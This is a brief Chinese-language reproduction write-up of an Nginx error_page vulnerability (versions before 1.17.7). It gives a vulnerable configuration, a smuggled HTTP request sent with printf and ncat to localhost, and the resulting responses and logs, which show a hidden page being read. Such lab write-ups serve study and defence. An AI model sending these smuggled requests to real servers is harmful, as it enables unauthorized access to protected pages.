一、漏洞简介
Nginx 1.17.7之前版本中 error_page 存在安全漏洞。攻击者可利用该漏洞读取未授权的Web页面。
二、漏洞影响
Ngnix < 1.17.7
三、复现过程
错误代码
server { listen 80; server_name localhost; error_page 401 http://example.org; location / { return 401; } } server { listen 80; server_name notlocalhost; location /_hidden/index.html { return 200 'This should be hidden!'; } }
这时候我们可以向服务器发送以下请求
GET /a HTTP/1.1 Host: localhost Content-Length: 56 GET /_hidden/index.html HTTP/1.1 Host: notlocalhost
我们看一下服务器是怎么处理的
printf "GET /a HTTP/1.1 Host: localhost Content-Length: 56 GET /_hidden/index.html HTTP/1.1 Host: notlocalhost " | ncat localhost 80 --noshutdown
等于说是吧两个请求都间接的执行了，我们看一下burp里面的返回值
HTTP/1.1 302 Moved Temporarily Server: nginx/1.17.6 Date: Fri, 06 Dec 2019 18:23:33 GMT Content-Type: text/html Content-Length: 145 Connection: keep-alive Location: http://example.org <html> <head><title>302 Found</title></head> <body> <center><h1>302 Found</h1></center> <hr><center>nginx/1.17.6</center> </body> </html> HTTP/1.1 200 OK Server: nginx/1.17.6 Date: Fri, 06 Dec 2019 18:23:33 GMT Content-Type: text/html Content-Length: 22 Connection: keep-alive This should be hidden!
再一下nginx服务器里面的日志
172.17.0.1 - - [06/Dec/2019:18:23:33 +0000] "GET /a HTTP/1.1" 302 145 "-" "-" "-" 172.17.0.1 - - [06/Dec/2019:18:23:33 +0000] "GET /_hidden/index.html HTTP/1.1" 200 22 "-"